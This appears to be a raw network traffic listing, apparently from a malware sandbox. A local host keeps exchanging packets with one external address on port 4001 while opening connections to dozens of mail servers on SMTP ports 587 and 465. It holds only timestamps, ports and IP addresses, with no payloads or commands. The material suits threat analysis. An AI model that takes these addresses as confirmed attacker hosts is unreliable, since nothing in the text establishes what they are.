May 19, 2024 17:27:38.243372917 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.293013096 CEST	587	49758	188.114.96.3	192.168.2.4
May 19, 2024 17:27:38.293019056 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.293024063 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.293369055 CEST	49758	587	192.168.2.4	188.114.96.3
May 19, 2024 17:27:38.293661118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.293953896 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.293953896 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.294127941 CEST	49759	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:38.303570986 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.349148035 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:38.349260092 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.349364996 CEST	49759	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:38.349455118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.349692106 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.349747896 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.350385904 CEST	49760	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:38.350552082 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.350610018 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.357907057 CEST	49761	587	192.168.2.4	204.11.56.50
May 19, 2024 17:27:38.362231970 CEST	587	49760	194.158.122.55	192.168.2.4
May 19, 2024 17:27:38.362329960 CEST	49760	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:38.362445116 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.367016077 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.367043972 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.371757030 CEST	587	49761	204.11.56.50	192.168.2.4
May 19, 2024 17:27:38.371844053 CEST	49761	587	192.168.2.4	204.11.56.50
May 19, 2024 17:27:38.371908903 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.376720905 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.381618023 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.429111958 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.429140091 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:38.429636955 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.431785107 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.431838989 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.474090099 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:38.477968931 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.482990980 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.493307114 CEST	49762	587	192.168.2.4	13.248.169.48
May 19, 2024 17:27:38.498816967 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.498895884 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.498940945 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:38.503779888 CEST	587	49762	13.248.169.48	192.168.2.4
May 19, 2024 17:27:38.503868103 CEST	49762	587	192.168.2.4	13.248.169.48
May 19, 2024 17:27:38.503926039 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.508635044 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.513386011 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:38.513458967 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:38.513561964 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.518877983 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.518878937 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.523435116 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.528271914 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.586004019 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.587500095 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:38.592618942 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:38.605734110 CEST	49764	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:38.605740070 CEST	49765	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:38.610658884 CEST	587	49765	64.136.52.44	192.168.2.4
May 19, 2024 17:27:38.610738039 CEST	49765	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:38.610836029 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.615518093 CEST	587	49764	64.136.52.44	192.168.2.4
May 19, 2024 17:27:38.615581989 CEST	49764	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:38.615711927 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.620877028 CEST	49766	587	192.168.2.4	68.178.252.117
May 19, 2024 17:27:38.625572920 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.630310059 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:38.630475044 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.635580063 CEST	587	49766	68.178.252.117	192.168.2.4
May 19, 2024 17:27:38.635689974 CEST	49766	587	192.168.2.4	68.178.252.117
May 19, 2024 17:27:38.635900021 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.645227909 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:38.649665117 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.654532909 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:38.654701948 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:38.654820919 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.660293102 CEST	49768	465	192.168.2.4	80.88.87.236
May 19, 2024 17:27:38.677227974 CEST	49754	587	192.168.2.4	52.223.4.149
May 19, 2024 17:27:38.693238974 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:38.693654060 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.698446989 CEST	465	49768	80.88.87.236	192.168.2.4
May 19, 2024 17:27:38.698534966 CEST	49768	465	192.168.2.4	80.88.87.236
May 19, 2024 17:27:38.698733091 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.703444958 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.717312098 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.720638037 CEST	49769	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:38.722347975 CEST	49770	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:38.739856958 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:38.749875069 CEST	587	49769	104.18.2.81	192.168.2.4
May 19, 2024 17:27:38.749979973 CEST	49769	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:38.749999046 CEST	49771	587	192.168.2.4	72.52.178.23
May 19, 2024 17:27:38.750179052 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.755012035 CEST	587	49770	194.153.145.104	192.168.2.4
May 19, 2024 17:27:38.755206108 CEST	49770	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:38.755565882 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.759926081 CEST	587	49771	72.52.178.23	192.168.2.4
May 19, 2024 17:27:38.759999990 CEST	49771	587	192.168.2.4	72.52.178.23
May 19, 2024 17:27:38.760121107 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.765141010 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.765141010 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.769797087 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.769849062 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.774256945 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.779011011 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.779316902 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.779361010 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.784272909 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.789447069 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:38.794357061 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.841068983 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:38.841101885 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.841140985 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:38.841356993 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.842524052 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:38.843574047 CEST	49773	587	192.168.2.4	72.52.178.23
May 19, 2024 17:27:38.845808029 CEST	49774	587	192.168.2.4	188.114.96.3
May 19, 2024 17:27:38.875309944 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.880233049 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:38.882559061 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.882608891 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.885004044 CEST	587	49773	72.52.178.23	192.168.2.4
May 19, 2024 17:27:38.885032892 CEST	587	49774	188.114.96.3	192.168.2.4
May 19, 2024 17:27:38.885083914 CEST	49773	587	192.168.2.4	72.52.178.23
May 19, 2024 17:27:38.885113001 CEST	49774	587	192.168.2.4	188.114.96.3
May 19, 2024 17:27:38.885149002 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.885370970 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.886061907 CEST	49775	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:38.889911890 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.894836903 CEST	587	49775	193.201.172.98	192.168.2.4
May 19, 2024 17:27:38.894913912 CEST	49775	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:38.895057917 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.899753094 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.928764105 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.928903103 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.933829069 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.939423084 CEST	49776	587	192.168.2.4	182.48.49.234
May 19, 2024 17:27:38.944542885 CEST	587	49776	182.48.49.234	192.168.2.4
May 19, 2024 17:27:38.944629908 CEST	49776	587	192.168.2.4	182.48.49.234
May 19, 2024 17:27:38.944768906 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.950166941 CEST	49777	587	192.168.2.4	194.126.4.84
May 19, 2024 17:27:38.954437971 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.959314108 CEST	587	49777	194.126.4.84	192.168.2.4
May 19, 2024 17:27:38.959507942 CEST	49777	587	192.168.2.4	194.126.4.84
May 19, 2024 17:27:38.959507942 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.973624945 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.974886894 CEST	49754	587	192.168.2.4	52.223.4.149
May 19, 2024 17:27:38.988712072 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.988712072 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.993236065 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:38.998460054 CEST	49778	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:38.998594999 CEST	49779	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:39.003436089 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.003700018 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.003737926 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.003818035 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.003889084 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.008225918 CEST	587	49778	142.93.237.125	192.168.2.4
May 19, 2024 17:27:39.008369923 CEST	49778	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:39.008416891 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.008884907 CEST	49780	587	192.168.2.4	3.64.163.50
May 19, 2024 17:27:39.012969971 CEST	587	49779	142.93.237.125	192.168.2.4
May 19, 2024 17:27:39.013045073 CEST	49779	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:39.013133049 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.017749071 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.018069983 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.018127918 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.022497892 CEST	587	49780	3.64.163.50	192.168.2.4
May 19, 2024 17:27:39.022573948 CEST	49780	587	192.168.2.4	3.64.163.50
May 19, 2024 17:27:39.022728920 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.027223110 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.027252913 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:39.027375937 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.031968117 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.032311916 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.032380104 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.036899090 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.041789055 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.067853928 CEST	49753	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:39.074770927 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.074960947 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:39.077655077 CEST	49781	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:39.078969955 CEST	49782	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:39.079876900 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:39.085047007 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:39.089412928 CEST	587	49781	104.22.65.144	192.168.2.4
May 19, 2024 17:27:39.089442968 CEST	587	49782	194.153.145.104	192.168.2.4
May 19, 2024 17:27:39.089508057 CEST	49781	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:39.089538097 CEST	49782	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:39.092223883 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.092300892 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.094233036 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:39.094304085 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:39.094552040 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.099752903 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.099828005 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.099898100 CEST	49784	587	192.168.2.4	175.126.123.219
May 19, 2024 17:27:39.103718042 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.108505964 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:39.108846903 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.109227896 CEST	49785	465	192.168.2.4	23.253.215.39
May 19, 2024 17:27:39.113759995 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.113789082 CEST	587	49784	175.126.123.219	192.168.2.4
May 19, 2024 17:27:39.113854885 CEST	49784	587	192.168.2.4	175.126.123.219
May 19, 2024 17:27:39.113991022 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.114109039 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.114156008 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.118628979 CEST	465	49785	23.253.215.39	192.168.2.4
May 19, 2024 17:27:39.118707895 CEST	49785	465	192.168.2.4	23.253.215.39
May 19, 2024 17:27:39.118761063 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.123680115 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.145431995 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:39.145986080 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.151271105 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.161839008 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:39.166995049 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:39.167205095 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.180062056 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:39.180418015 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.192956924 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:39.193537951 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.198577881 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.199179888 CEST	49786	465	192.168.2.4	82.223.191.150
May 19, 2024 17:27:39.204394102 CEST	465	49786	82.223.191.150	192.168.2.4
May 19, 2024 17:27:39.204483032 CEST	49786	465	192.168.2.4	82.223.191.150
May 19, 2024 17:27:39.204566002 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.208625078 CEST	49759	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:39.224215031 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:39.289865971 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.297517061 CEST	587	49765	64.136.52.44	192.168.2.4
May 19, 2024 17:27:39.297662973 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.302450895 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:39.302627087 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.309146881 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:39.309336901 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.309622049 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:39.314568043 CEST	587	49764	64.136.52.44	192.168.2.4
May 19, 2024 17:27:39.314752102 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.319520950 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.324250937 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:39.324429035 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:39.324506998 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.324927092 CEST	49788	587	192.168.2.4	62.24.202.42
May 19, 2024 17:27:39.329377890 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.334458113 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.334548950 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.340523005 CEST	587	49788	62.24.202.42	192.168.2.4
May 19, 2024 17:27:39.340611935 CEST	49788	587	192.168.2.4	62.24.202.42
May 19, 2024 17:27:39.340702057 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.345309973 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.345752954 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.345818043 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.349119902 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:39.349126101 CEST	49765	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:39.349622011 CEST	49754	587	192.168.2.4	52.223.4.149
May 19, 2024 17:27:39.351558924 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.358062983 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.364728928 CEST	49764	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:39.385966063 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.390383005 CEST	49789	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:39.394956112 CEST	49790	587	192.168.2.4	40.85.218.2
May 19, 2024 17:27:39.400408983 CEST	587	49789	142.93.237.125	192.168.2.4
May 19, 2024 17:27:39.400499105 CEST	49789	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:39.400718927 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.405196905 CEST	587	49790	40.85.218.2	192.168.2.4
May 19, 2024 17:27:39.405379057 CEST	49790	587	192.168.2.4	40.85.218.2
May 19, 2024 17:27:39.405448914 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.410197020 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.410275936 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.415322065 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.420691013 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.469135046 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:39.469470024 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.469774008 CEST	49791	587	192.168.2.4	63.135.90.169
May 19, 2024 17:27:39.469943047 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.469980001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.485697985 CEST	49792	587	192.168.2.4	52.223.34.187
May 19, 2024 17:27:39.489886999 CEST	587	49791	63.135.90.169	192.168.2.4
May 19, 2024 17:27:39.489980936 CEST	49791	587	192.168.2.4	63.135.90.169
May 19, 2024 17:27:39.490355015 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.494626999 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.499597073 CEST	587	49792	52.223.34.187	192.168.2.4
May 19, 2024 17:27:39.499680042 CEST	49792	587	192.168.2.4	52.223.34.187
May 19, 2024 17:27:39.499874115 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.505132914 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:39.509274006 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.509428024 CEST	49753	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:39.513133049 CEST	49794	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:39.513866901 CEST	49795	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:39.514070988 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:39.514149904 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:39.514332056 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.519032001 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:39.520996094 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:39.523751974 CEST	587	49794	104.22.65.144	192.168.2.4
May 19, 2024 17:27:39.523765087 CEST	587	49795	213.209.1.145	192.168.2.4
May 19, 2024 17:27:39.523875952 CEST	49795	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:39.524000883 CEST	49794	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:39.524000883 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.524000883 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.528512001 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.534003019 CEST	49796	587	192.168.2.4	104.21.37.242
May 19, 2024 17:27:39.538948059 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.586443901 CEST	587	49796	104.21.37.242	192.168.2.4
May 19, 2024 17:27:39.586639881 CEST	49796	587	192.168.2.4	104.21.37.242
May 19, 2024 17:27:39.586855888 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.586855888 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.587939978 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:39.588449001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.588536978 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.592469931 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.592530966 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.592611074 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:39.592674017 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:39.592838049 CEST	49759	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:39.592838049 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:39.635787010 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:39.635864973 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:39.635953903 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.685091972 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:39.685106993 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:39.685120106 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:39.685132027 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:39.685143948 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.685156107 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:39.685391903 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.685653925 CEST	49798	587	192.168.2.4	194.76.232.141
May 19, 2024 17:27:39.693011045 CEST	587	49798	194.76.232.141	192.168.2.4
May 19, 2024 17:27:39.693074942 CEST	49798	587	192.168.2.4	194.76.232.141
May 19, 2024 17:27:39.693535089 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.699146032 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.705213070 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:39.705502033 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.711987972 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.736783981 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.736927986 CEST	49765	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:39.737065077 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:39.737075090 CEST	49764	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:39.737143993 CEST	49754	587	192.168.2.4	52.223.4.149
May 19, 2024 17:27:39.737514019 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.737514973 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.739154100 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:39.739381075 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.739382029 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.739754915 CEST	49783	587	192.168.2.4	129.213.13.252
